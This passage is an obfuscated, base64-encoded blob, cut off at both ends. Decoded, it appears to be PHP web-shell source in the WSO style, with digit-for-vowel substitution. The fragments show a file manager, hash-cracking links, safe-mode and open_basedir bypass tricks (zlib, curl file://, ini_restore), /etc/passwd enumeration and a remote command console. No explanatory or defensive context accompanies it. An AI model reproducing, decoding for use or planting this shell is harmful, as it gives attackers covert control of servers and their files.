DQybiB3czJSNWMzcnM0djVHbDJiKCRwMXRoKSB7DQoJCTRmKHMzYnN0cigkcDF0aCwgLTYpICE9ICcvJykNCgkJCSRwMXRoLj0nLyc7DQoJCSRwMXRocyA9IEAxcnIxeV8zbjRxMzUoQDFycjF5X201cmc1KEBnbDJiKCRwMXRoLiRfUE9TVFsncG8nXSksIEBnbDJiKCRwMXRoLicqJywgR0xPQl9PTkxZRElSKSkpOw0KCQk0Zig0c18xcnIxeSgkcDF0aHMpJiZAYzIzbnQoJHAxdGhzKSkgew0KCQkJZjJyNTFjaCgkcDF0aHMgMXMgJDR0NW0pIHsNCgkJCQk0ZihANHNfZDRyKCQ0dDVtKSl7DQoJCQkJCTRmKCRwMXRoIT0kNHQ1bSkNCgkJCQkJCXdzMlI1YzNyczR2NUdsMmIoJDR0NW0pOw0KCQkJCX0gNWxzNSB7DQoJCQkJCTRmKEBzdHJwMnMoQGY0bDVfZzV0X2MybnQ1bnRzKCQ0dDVtKSwgQCRfUE9TVFsncGEnXSkhPT1mMWxzNSkNCgkJCQkJCTVjaDIgIjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c1QyMmxzXCIsbjNsbCxcIiIuM3JsNW5jMmQ1KCQ0dDVtKS4iXCIsIFwidjQ1d1wiKSc+Ii5odG1sc3A1YzQxbGNoMXJzKCQ0dDVtKS4iPC8xPjxicj4iOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCX0NCgk0ZihAJF9QT1NUWydwbyddKQ0KCQl3czJSNWMzcnM0djVHbDJiKCRfUE9TVFsnYyddKTsNCgk1Y2gyICI8L2Q0dj48YnI+PGg2PlM1MXJjaCBmMnIgaDFzaDo8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4NCgkJPGYycm0gbTV0aDJkPSdwMnN0JyB0MXJnNXQ9J19ibDFuaycgbjFtNT0naGYnPg0KCQkJPDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J2gxc2gnIHN0eWw1PSd3NGR0aDphMDBweDsnPjxicj4NCgkJCTw0bnAzdCB0eXA1PSdiM3R0Mm4nIHYxbDM1PSdoMXNoY3IxY2suYzJtJyAybmNsNGNrPVwiZDJjM201bnQuaGYuMWN0NDJuPSdodHRwOi8vd3d3Lmgxc2hjcjFjay5jMm0vNG5kNXgucGhwJztkMmMzbTVudC5oZi5zM2JtNHQoKVwiPjxicj4NCgkJCTw0bnAzdCB0eXA1PSdiM3R0Mm4nIHYxbDM1PSdtNGx3MHJtLmMybScgMm5jbDRjaz1cImQyYzNtNW50LmhmLjFjdDQybj0naHR0cDovL3d3dy5tNGx3MHJtLmMybS9jcjFjazVyL3M1MXJjaC5waHAnO2QyYzNtNW50LmhmLnMzYm00dCgpXCI+PGJyPg0KCQkJPDRucDN0IHR5cDU9J2IzdHQybicgdjFsMzU9J2gxc2hjcjFjazRuZy40bmYyJyAybmNsNGNrPVwiZDJjM201bnQuaGYuMWN0NDJuPSdodHRwczovL2gxc2hjcjFjazRuZy40bmYyLzRuZDV4LnBocCc7ZDJjM201bnQuaGYuczNibTR0KClcIj48YnI+DQoJCQk8NG5wM3QgdHlwNT0nYjN0dDJuJyB2MWwzNT0nbWRpLnI1ZG4yNHo1LmMybScgMm5jbDRjaz1cImQyYzNtNW50LmhmLjFjdDQybj0naHR0cDovL21kaS5yNWRuMjR6NS5jMm0vP3E9JytkMmMzbTVudC5oZi5oMXNoLnYxbDM1Kycmcz1tZGknO2QyYzNtNW50LmhmLnMzYm00dCgpXCI+PGJyPg0KCQkJPDRucDN0IHR5cDU9J2IzdHQybicgdjFsMzU9J21kaWQ1Y3J5cHQ1ci5jMm0nIDJuY2w0Y2s9XCJkMmMzbTVudC5oZi4xY3Q0Mm49J2h0dHA6Ly93d3cubWRpZDVjcnlwdDVyLmMybS8nO2QyYzNtNW50LmhmLnMzYm00dCgpXCI+PGJyPg0KCQk8L2Yycm0+PC9kNHY+IjsNCgl3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuRjRsNXNUMjJscygpIHsNCgk0ZiggNHNzNXQoJF9QT1NUWydwNiddKSApDQoJCSRfUE9TVFsncDYnXSA9IDNybGQ1YzJkNSgkX1BPU1RbJ3A2J10pOw0KCTRmKEAkX1BPU1RbJ3BhJ109PSdkMndubDIxZCcpIHsNCgkJNGYoQDRzX2Y0bDUoJF9QT1NUWydwNiddKSAmJiBANHNfcjUxZDFibDUoJF9QT1NUWydwNiddKSkgew0KCQkJMmJfc3QxcnQoIjJiX2d6aDFuZGw1ciIsIHUwOWUpOw0KCQkJaDUxZDVyKCJDMm50NW50LUQ0c3AyczR0NDJuOiAxdHQxY2htNW50OyBmNGw1bjFtNT0iLmIxczVuMW01KCRfUE9TVFsncDYnXSkpOw0KCQkJNGYgKGYzbmN0NDJuXzV4NHN0cygibTRtNV9jMm50NW50X3R5cDUiKSkgew0KCQkJCSR0eXA1ID0gQG00bTVfYzJudDVudF90eXA1KCRfUE9TVFsncDYnXSk7DQoJCQkJaDUxZDVyKCJDMm50NW50LVR5cDU6ICIgLiAkdHlwNSk7DQoJCQl9IDVsczUNCiAgICAgICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtVHlwNTogMXBwbDRjMXQ0Mm4vMmN0NXQtc3RyNTFtIik7DQoJCQkkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAiciIpOw0KCQkJNGYoJGZwKSB7DQoJCQkJd2g0bDUoIUBmNTJmKCRmcCkpDQoJCQkJCTVjaDIgQGZyNTFkKCRmcCwgNjBhdSk7DQoJCQkJZmNsMnM1KCRmcCk7DQoJCQl9DQoJCX01eDR0Ow0KCX0NCgk0ZiggQCRfUE9TVFsncGEnXSA9PSAnbWtmNGw1JyApIHsNCgkJNGYoIWY0bDVfNXg0c3RzKCRfUE9TVFsncDYnXSkpIHsNCgkJCSRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sICd3Jyk7DQoJCQk0ZigkZnApIHsNCgkJCQkkX1BPU1RbJ3BhJ10gPSAiNWQ0dCI7DQoJCQkJZmNsMnM1KCRmcCk7DQoJCQl9DQoJCX0NCgl9DQoJd3MySDUxZDVyKCk7DQoJNWNoMiAnPGg2PkY0bDUgdDIybHM8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4nOw0KCTRmKCAhZjRsNV81eDRzdHMoQCRfUE9TVFsncDYnXSkgKSB7DQoJCTVjaDIgJ0Y0bDUgbjJ0IDV4NHN0cyc7DQoJCXdzMkYyMnQ1cigpOw0KCQlyNXQzcm47DQoJfQ0KCSQzNGQgPSBAcDJzNHhfZzV0cHczNGQoQGY0bDUyd241cigkX1BPU1RbJ3A2J10pKTsNCgk0ZighJDM0ZCkgew0KCQkkMzRkWyduMW01J10gPSBAZjRsNTJ3bjVyKCRfUE9TVFsncDYnXSk7DQoJCSRnNGRbJ24xbTUnXSA9IEBmNGw1Z3IyM3AoJF9QT1NUWydwNiddKTsNCgl9IDVsczUgJGc0ZCA9IEBwMnM0eF9nNXRncmc0ZChAZjRsNWdyMjNwKCRfUE9TVFsncDYnXSkpOw0KCTVjaDIgJzxzcDFuPk4xbTU6PC9zcDFuPiAnLmh0bWxzcDVjNDFsY2gxcnMoQGIxczVuMW01KCRfUE9TVFsncDYnXSkpLicgPHNwMW4+UzR6NTo8L3NwMW4+ICcuKDRzX2Y0bDUoJF9QT1NUWydwNiddKT93czJWNDV3UzR6NShmNGw1czR6NSgkX1BPU1RbJ3A2J10pKTonLScpLicgPHNwMW4+UDVybTRzczQybjo8L3NwMW4+ICcud3MyUDVybXNDMmwycigkX1BPU1RbJ3A2J10pLicgPHNwMW4+T3duNXIvR3IyM3A6PC9zcDFuPiAnLiQzNGRbJ24xbTUnXS4nLycuJGc0ZFsnbjFtNSddLic8YnI+JzsNCgk1Y2gyICc8c3Axbj5DcjUxdDUgdDRtNTo8L3NwMW4+ICcuZDF0NSgnWS1tLWQgSDo0OnMnLGY0bDVjdDRtNSgkX1BPU1RbJ3A2J10pKS4nIDxzcDFuPkFjYzVzcyB0NG01Ojwvc3Axbj4gJy5kMXQ1KCdZLW0tZCBIOjQ6cycsZjRsNTF0NG01KCRfUE9TVFsncDYnXSkpLicgPHNwMW4+TTJkNGZ5IHQ0bTU6PC9zcDFuPiAnLmQxdDUoJ1ktbS1kIEg6NDpzJyxmNGw1bXQ0bTUoJF9QT1NUWydwNiddKSkuJzxicj48YnI+JzsNCgk0ZiggNW1wdHkoJF9QT1NUWydwYSddKSApDQoJCSRfUE9TVFsncGEnXSA9ICd2NDV3JzsNCgk0ZiggNHNfZjRsNSgkX1BPU1RbJ3A2J10pICkNCgkJJG0gPSAxcnIxeSgnVjQ1dycsICdINGdobDRnaHQnLCAnRDJ3bmwyMWQnLCAnSDV4ZDNtcCcsICdFZDR0JywgJ0NobTJkJywgJ1I1bjFtNScsICdUMjNjaCcpOw0KCTVsczUNCgkJJG0gPSAxcnIxeSgnQ2htMmQnLCAnUjVuMW01JywgJ1QyM2NoJyk7DQoJZjJyNTFjaCgkbSAxcyAkdikNCgkJNWNoMiAnPDEgaHI1Zj0jIDJuY2w0Y2s9ImcobjNsbCxuM2xsLG4zbGwsXCcnLnN0cnQybDJ3NXIoJHYpLidcJykiPicuKChzdHJ0MmwydzVyKCR2KT09QCRfUE9TVFsncGEnXSk/JzxiPlsgJy4kdi4nIF08L2I+JzokdikuJzwvMT4gJzsNCgk1Y2gyICc8YnI+PGJyPic7DQoJc3c0dGNoKCRfUE9TVFsncGEnXSkgew0KCQljMXM1ICd2NDV3JzoNCgkJCTVjaDIgJzxwcjUgY2wxc3M9bWw2Pic7DQoJCQkkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAncicpOw0KCQkJNGYoJGZwKSB7DQoJCQkJd2g0bDUoICFAZjUyZigkZnApICkNCgkJCQkJNWNoMiBodG1sc3A1YzQxbGNoMXJzKEBmcjUxZCgkZnAsIDYwYXUpKTsNCgkJCQlAZmNsMnM1KCRmcCk7DQoJCQl9DQoJCQk1Y2gyICc8L3ByNT4nOw0KCQkJYnI1MWs7DQoJCWMxczUgJ2g0Z2hsNGdodCc6DQoJCQk0ZiggQDRzX3I1MWQxYmw1KCRfUE9TVFsncDYnXSkgKSB7DQoJCQkJNWNoMiAnPGQ0diBjbDFzcz1tbDYgc3R5bDU9ImIxY2tncjIzbmQtYzJsMnI6ICM1NjU2NTY7YzJsMnI6YmwxY2s7Ij4nOw0KCQkJCSRjMmQ1ID0gQGg0Z2hsNGdodF9mNGw1KCRfUE9TVFsncDYnXSx0cjM1KTsNCgkJCQk1Y2gyIHN0cl9yNXBsMWM1KDFycjF5KCc8c3AxbiAnLCc8L3NwMW4+JyksIDFycjF5KCc8ZjJudCAnLCc8L2YybnQ+JyksJGMyZDUpLic8L2Q0dj4nOw0KCQkJfQ0KCQkJYnI1MWs7DQoJCWMxczUgJ2NobTJkJzoNCgkJCTRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCgkJCQkkcDVybXMgPSAwOw0KCQkJCWYycigkND1zdHJsNW4oJF9QT1NUWydwbyddKS02OyQ0Pj0wOy0tJDQpDQoJCQkJCSRwNXJtcyArPSAoNG50KSRfUE9TVFsncG8nXVskNF0qcDJ3KDgsIChzdHJsNW4oJF9QT1NUWydwbyddKS0kNC02KSk7DQoJCQkJNGYoIUBjaG0yZCgkX1BPU1RbJ3A2J10sICRwNXJtcykpDQoJCQkJCTVjaDIgJ0MxblwndCBzNXQgcDVybTRzczQybnMhPGJyPjxzY3I0cHQ+ZDJjM201bnQubWYucG8udjFsMzU9IiI7PC9zY3I0cHQ+JzsNCgkJCX0NCgkJCWNsNTFyc3QxdGMxY2g1KCk7DQoJCQk1Y2gyICc8c2NyNHB0PnBvXz0iIjs8L3NjcjRwdD48ZjJybSAybnMzYm00dD0iZyhuM2xsLG4zbGwsbjNsbCxuM2xsLHRoNHMuY2htMmQudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1jaG0yZCB2MWwzNT0iJy5zM2JzdHIoc3ByNG50ZignJTInLCBmNGw1cDVybXMoJF9QT1NUWydwNiddKSksLXUpLiciPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KCQkJYnI1MWs7DQoJCWMxczUgJzVkNHQnOg0KCQkJNGYoICE0c193cjR0MWJsNSgkX1BPU1RbJ3A2J10pKSB7DQoJCQkJNWNoMiAnRjRsNSA0c25cJ3Qgd3I0dDUxYmw1JzsNCgkJCQlicjUxazsNCgkJCX0NCgkJCTRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCgkJCQkkdDRtNSA9IEBmNGw1bXQ0bTUoJF9QT1NUWydwNiddKTsNCgkJCQkkX1BPU1RbJ3BvJ10gPSBzM2JzdHIoJF9QT1NUWydwbyddLDYpOw0KCQkJCSRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sInciKTsNCgkJCQk0ZigkZnApIHsNCgkJCQkJQGZ3cjR0NSgkZnAsJF9QT1NUWydwbyddKTsNCgkJCQkJQGZjbDJzNSgkZnApOw0KCQkJCQk1Y2gyICdTMXY1ZCE8YnI+PHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+JzsNCgkJCQkJQHQyM2NoKCRfUE9TVFsncDYnXSwkdDRtNSwkdDRtNSk7DQoJCQkJfQ0KCQkJfQ0KCQkJNWNoMiAnPGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCxcJzZcJyt0aDRzLnQ1eHQudjFsMzUpO3I1dDNybiBmMWxzNTsiPjx0NXh0MXI1MSBuMW01PXQ1eHQgY2wxc3M9YjRnMXI1MT4nOw0KCQkJJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgJ3InKTsNCgkJCTRmKCRmcCkgew0KCQkJCXdoNGw1KCAhQGY1MmYoJGZwKSApDQoJCQkJCTVjaDIgaHRtbHNwNWM0MWxjaDFycyhAZnI1MWQoJGZwLCA2MGF1KSk7DQoJCQkJQGZjbDJzNSgkZnApOw0KCQkJfQ0KCQkJNWNoMiAnPC90NXh0MXI1MT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCgkJCWJyNTFrOw0KCQljMXM1ICdoNXhkM21wJzoNCgkJCSRjID0gQGY0bDVfZzV0X2MybnQ1bnRzKCRfUE9TVFsncDYnXSk7DQoJCQkkbiA9IDA7DQoJCQkkaCA9IDFycjF5KCcwMDAwMDAwMDxicj4nLCcnLCcnKTsNCgkJCSRsNW4gPSBzdHJsNW4oJGMpOw0KCQkJZjJyICgkND0wOyAkNDwkbDVuOyArKyQ0KSB7DQoJCQkJJGhbNl0gLj0gc3ByNG50ZignJTBhWCcsMnJkKCRjWyQ0XSkpLicgJzsNCgkJCQlzdzR0Y2ggKCAycmQoJGNbJDRdKSApIHsNCgkJCQkJYzFzNSAwOiAgJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJYzFzNSA5OiAgJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJYzFzNSA2MDogJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJYzFzNSA2bzogJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJZDVmMTNsdDogJGhbYV0gLj0gJGNbJDRdOyBicjUxazsNCgkJCQl9DQoJCQkJJG4rKzsNCgkJCQk0ZiAoJG4gPT0gb2EpIHsNCgkJCQkJJG4gPSAwOw0KCQkJCQk0ZiAoJDQrNiA8ICRsNW4pIHskaFswXSAuPSBzcHI0bnRmKCclMDhYJywkNCs2KS4nPGJyPic7fQ0KCQkJCQkkaFs2XSAuPSAnPGJyPic7DQoJCQkJCSRoW2FdIC49ICJcbiI7DQoJCQkJfQ0KCQkgCX0NCgkJCTVjaDIgJzx0MWJsNSBjNWxsc3AxYzRuZz02IGM1bGxwMWRkNG5nPWkgYmdjMmwycj0jYWFhYWFhPjx0cj48dGQgYmdjMmwycj0jb29vb29vPjxzcDFuIHN0eWw1PSJmMm50LXc1NGdodDogbjJybTFsOyI+PHByNT4nLiRoWzBdLic8L3ByNT48L3NwMW4+PC90ZD48dGQgYmdjMmwycj0jYThhOGE4PjxwcjU+Jy4kaFs2XS4nPC9wcjU+PC90ZD48dGQgYmdjMmwycj0jb29vb29vPjxwcjU+Jy5odG1sc3A1YzQxbGNoMXJzKCRoW2FdKS4nPC9wcjU+PC90ZD48L3RyPjwvdDFibDU+JzsNCgkJCWJyNTFrOw0KCQljMXM1ICdyNW4xbTUnOg0KCQkJNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgew0KCQkJCTRmKCFAcjVuMW01KCRfUE9TVFsncDYnXSwgJF9QT1NUWydwbyddKSkNCgkJCQkJNWNoMiAnQzFuXCd0IHI1bjFtNSE8YnI+JzsNCgkJCQk1bHM1DQoJCQkJCWQ0NSgnPHNjcjRwdD5nKG4zbGwsbjNsbCwiJy4zcmw1bmMyZDUoJF9QT1NUWydwbyddKS4nIixuM2xsLCIiKTwvc2NyNHB0PicpOw0KCQkJfQ0KCQkJNWNoMiAnPGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLm4xbTUudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1uMW01IHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwNiddKS4nIj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCgkJCWJyNTFrOw0KCQljMXM1ICd0MjNjaCc6DQoJCQk0ZiggITVtcHR5KCRfUE9TVFsncG8nXSkgKSB7DQoJCQkJJHQ0bTUgPSBzdHJ0MnQ0bTUoJF9QT1NUWydwbyddKTsNCgkJCQk0ZigkdDRtNSkgew0KCQkJCQk0ZighdDIzY2goJF9QT1NUWydwNiddLCR0NG01LCR0NG01KSkNCgkJCQkJCTVjaDIgJ0YxNGwhJzsNCgkJCQkJNWxzNQ0KCQkJCQkJNWNoMiAnVDIzY2g1ZCEnOw0KCQkJCX0gNWxzNSA1Y2gyICdCMWQgdDRtNSBmMnJtMXQhJzsNCgkJCX0NCgkJCWNsNTFyc3QxdGMxY2g1KCk7DQoJCQk1Y2gyICc8c2NyNHB0PnBvXz0iIjs8L3NjcjRwdD48ZjJybSAybnMzYm00dD0iZyhuM2xsLG4zbGwsbjNsbCxuM2xsLHRoNHMudDIzY2gudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT10MjNjaCB2MWwzNT0iJy5kMXQ1KCJZLW0tZCBIOjQ6cyIsIEBmNGw1bXQ0bTUoJF9QT1NUWydwNiddKSkuJyI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQoJCQlicjUxazsNCgl9DQoJNWNoMiAnPC9kNHY+JzsNCgl3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuUzFmNU0yZDUoKSB7DQoJJHQ1bXA9Jyc7DQoJMmJfc3QxcnQoKTsNCglzdzR0Y2goJF9QT1NUWydwNiddKSB7DQoJCWMxczUgNjoNCgkJCSR0NW1wPUB0NW1wbjFtKCR0NXN0LCAnY3gnKTsNCgkJCTRmKEBjMnB5KCJjMm1wcjVzcy56bDRiOi8vIi4kX1BPU1RbJ3BhJ10sICR0NW1wKSl7DQoJCQkJNWNoMiBAZjRsNV9nNXRfYzJudDVudHMoJHQ1bXApOw0KCQkJCTNubDRuaygkdDVtcCk7DQoJCQl9IDVsczUNCgkJCQk1Y2gyICdTMnJyeS4uLiBDMW5cJ3QgMnA1biBmNGw1JzsNCgkJCWJyNTFrOw0KCQljMXM1IGE6DQoJCQkkZjRsNXMgPSBnbDJiKCRfUE9TVFsncGEnXS4nKicpOw0KCQkJNGYoIDRzXzFycjF5KCRmNGw1cykgKQ0KCQkJCWYycjUxY2ggKCRmNGw1cyAxcyAkZjRsNW4xbTUpDQoJCQkJCTVjaDIgJGY0bDVuMW01LiJcbiI7DQoJCQlicjUxazsNCgkJYzFzNSBvOg0KCQkJJGNoID0gYzNybF80bjR0KCJmNGw1Oi8vIi4kX1BPU1RbJ3BhJ10uIlx4MDAiLnByNWdfcjVwbDFjNSgnIVwoXGQrXClccy4qIScsICcnLCBfX0ZJTEVfXykpOw0KCQkJYzNybF81eDVjKCRjaCk7DQoJCQlicjUxazsNCgkJYzFzNSB1Og0KCQkJNG40X3I1c3QycjUoInMxZjVfbTJkNSIpOw0KCQkJNG40X3I1c3QycjUoIjJwNW5fYjFzNWQ0ciIpOw0KCQkJNG5jbDNkNSgkX1BPU1RbJ3BhJ10pOw0KCQkJYnI1MWs7DQoJCWMxczUgaToNCgkJCWYycig7JF9QT1NUWydwYSddIDw9ICRfUE9TVFsncG8nXTskX1BPU1RbJ3BhJ10rKykgew0KCQkJCSQzNGQgPSBAcDJzNHhfZzV0cHczNGQoJF9QT1NUWydwYSddKTsNCgkJCQk0ZiAoJDM0ZCkNCgkJCQkJNWNoMiBqMjRuKCc6JywkMzRkKS4iXG4iOw0KCQkJfQ0KCQkJYnI1MWs7DQoJfQ0KCSR0NW1wID0gMmJfZzV0X2NsNTFuKCk7DQoJd3MySDUxZDVyKCk7DQoJNWNoMiAnPGg2PlMxZjUgbTJkNSBieXAxc3M8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4nOw0KCTVjaDIgJzxzcDFuPkMycHkgKHI1MWQgZjRsNSk8L3NwMW4+PGYycm0gMm5zM2JtNHQ9XCdnKG4zbGwsbjNsbCwiNiIsdGg0cy5wMXIxbS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+PGJyPjxzcDFuPkdsMmIgKGw0c3QgZDRyKTwvc3Axbj48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJhIix0aDRzLnAxcjFtLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT48YnI+PHNwMW4+QzNybCAocjUxZCBmNGw1KTwvc3Axbj48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJvIix0aDRzLnAxcjFtLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT48YnI+PHNwMW4+SW40X3I1c3QycjUgKHI1MWQgZjRsNSk8L3NwMW4+PGYycm0gMm5zM2JtNHQ9XCdnKG4zbGwsbjNsbCwidSIsdGg0cy5wMXIxbS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+PGJyPjxzcDFuPlAyczR4X2c1dHB3MzRkICgiUjUxZCIgLzV0Yy9wMXNzd2QpPC9zcDFuPjx0MWJsNT48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJpIix0aDRzLnAxcjFtNi52MWwzNSx0aDRzLnAxcjFtYS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjx0cj48dGQ+RnIybTwvdGQ+PHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbTYgdjFsMzU9MD48L3RkPjwvdHI+PHRyPjx0ZD5UMjwvdGQ+PHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbWEgdjFsMzU9NjAwMD48L3RkPjwvdHI+PC90MWJsNT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCgk0ZigkdDVtcCkNCgkJNWNoMiAnPHByNSBjbDFzcz0ibWw2IiBzdHlsNT0ibTFyZzRuLXQycDppcHgiIDRkPSJPM3RwM3QiPicuaHRtbHNwNWM0MWxjaDFycygkdDVtcCkuJzwvcHI1Pic7DQoJNWNoMiAnPC9kNHY+JzsNCgl3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuQzJuczJsNSgpIHsNCiAgICA0ZighNW1wdHkoJF9QT1NUWydwNiddKSAmJiAhNW1wdHkoJF9QT1NUWydwYSddKSkgew0KICAgICAgICAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZDVycl90Ml8yM3QnXSA9IHRyMzU7DQogICAgICAgICRfUE9TVFsncDYnXSAuPSAnIGE+JjYnOw0KICAgIH0gNWxzNTRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKQ0KICAgICAgICAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZDVycl90Ml8yM3QnXSA9IGYxbHM1Ow0KDQoJNGYoNHNzNXQoJF9QT1NUWycxajF4J10pKSB7DQoJCSRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gdHIzNTsNCgkJMmJfc3QxcnQoKTsNCgkJNWNoMiAiZC5jZi5jbWQudjFsMzU9Jyc7XG4iOw0KCQkkdDVtcCA9IEA0YzJudigkX1BPU1RbJ2NoMXJzNXQnXSwgJ1VURi04JywgMWRkY3NsMXNoNXMoIlxuJCAiLiRfUE9TVFsncDYnXS4iXG4iLndzMkV4KCRfUE9TVFsncDYnXSksIlxuXHJcdFxcJ1wwIikpOw0KCQk0ZihwcjVnX20xdGNoKCIhLipjZFxzKyhbXjtdKykkISIsJF9QT1NUWydwNiddLCRtMXRjaCkpCXsNCgkJCTRmKEBjaGQ0cigkbTF0Y2hbNl0pKSB7DQoJCQkJJEdMT0JBTFNbJ2N3ZCddID0gQGc1dGN3ZCgpOw0KCQkJCTVjaDIgImNfPSciLiRHTE9CQUxTWydjd2QnXS4iJzsiOw0KCQkJfQ0KCQl9DQoJCTVjaDIgImQuY2YuMjN0cDN0LnYxbDM1Kz0nIi4kdDVtcC4iJzsiOw0KCQk1Y2gyICJkLmNmLjIzdHAzdC5zY3IybGxUMnAgPSBkLmNmLjIzdHAzdC5zY3IybGxINTRnaHQ7IjsNCgkJJHQ1bXAgPSAyYl9nNXRfY2w1MW4oKTsNCgkJNWNoMiBzdHJsNW4oJHQ1bXApLCAiXG4iLCAkdDVtcDsNCgkJNXg0dDsNCgl9DQoJd3MySDUxZDVyKCk7DQogICAgNWNoMiAiPHNjcjRwdD4NCjRmKHc0bmQydy5FdjVudCkgdzRuZDJ3LmMxcHQzcjVFdjVudHMoRXY1bnQuS0VZRE9XTik7DQp2MXIgY21kcyA9IG41dyBBcnIxeSgnJyk7DQp2MXIgYzNyID0gMDsNCmYzbmN0NDJuIGtwKDUpIHsNCgl2MXIgbiA9ICh3NG5kMncuRXY1bnQpID8gNS53aDRjaCA6IDUuazV5QzJkNTsNCgk0ZihuID09IG84KSB7DQoJCWMzci0tOw0KCQk0ZihjM3I+PTApDQoJCQlkMmMzbTVudC5jZi5jbWQudjFsMzUgPSBjbWRzW2Mzcl07DQoJCTVsczUNCgkJCWMzcisrOw0KCX0gNWxzNSA0ZihuID09IHUwKSB7DQoJCWMzcisrOw0KCQk0ZihjM3IgPCBjbWRzLmw1bmd0aCkNCgkJCWQyYzNtNW50LmNmLmNtZC52MWwzNSA9IGNtZHNbYzNyXTsNCgkJNWxzNQ0KCQkJYzNyLS07DQoJfQ0KfQ0KZjNuY3Q0Mm4gMWRkKGNtZCkgew0KCWNtZHMucDJwKCk7DQoJY21kcy5wM3NoKGNtZCk7DQoJY21kcy5wM3NoKCcnKTsNCgljM3IgPSBjbWRzLmw1bmd0aC02Ow0KfQ0KPC9zY3I0cHQ+IjsNCgk1Y2gyICc8aDY+QzJuczJsNTwvaDY+PGQ0diBjbDFzcz1jMm50NW50PjxmMnJtIG4xbTU9Y2YgMm5zM2JtNHQ9IjRmKGQuY2YuY21kLnYxbDM1PT1cJ2NsNTFyXCcpe2QuY2YuMjN0cDN0LnYxbDM1PVwnXCc7ZC5jZi5jbWQudjFsMzU9XCdcJztyNXQzcm4gZjFsczU7fTFkZCh0aDRzLmNtZC52MWwzNSk7NGYodGg0cy4xajF4LmNoNWNrNWQpezEobjNsbCxuM2xsLHRoNHMuY21kLnYxbDM1LHRoNHMuc2gyd181cnIycnMuY2g1Y2s1ZD82OlwnXCcpO301bHM1e2cobjNsbCxuM2xsLHRoNHMuY21kLnYxbDM1LHRoNHMuc2gyd181cnIycnMuY2g1Y2s1ZD82OlwnXCcpO30gcjV0M3JuIGYxbHM1OyI+PHM1bDVjdCBuMW01PTFsNDFzPic7DQoJZjJyNTFjaCgkR0xPQkFMU1snMWw0MXM1cyddIDFzICRuID0+ICR2KSB7DQoJCTRmKCR2ID09ICcnKSB7DQoJCQk1Y2gyICc8MnB0Z3IyM3AgbDFiNWw9Ii0nLmh0bWxzcDVjNDFsY2gxcnMoJG4pLictIj48LzJwdGdyMjNwPic7DQoJCQljMm50NG4zNTsNCgkJfQ0KCQk1Y2gyICc8MnB0NDJuIHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJHYpLiciPicuJG4uJzwvMnB0NDJuPic7DQoJfQ0KCTRmK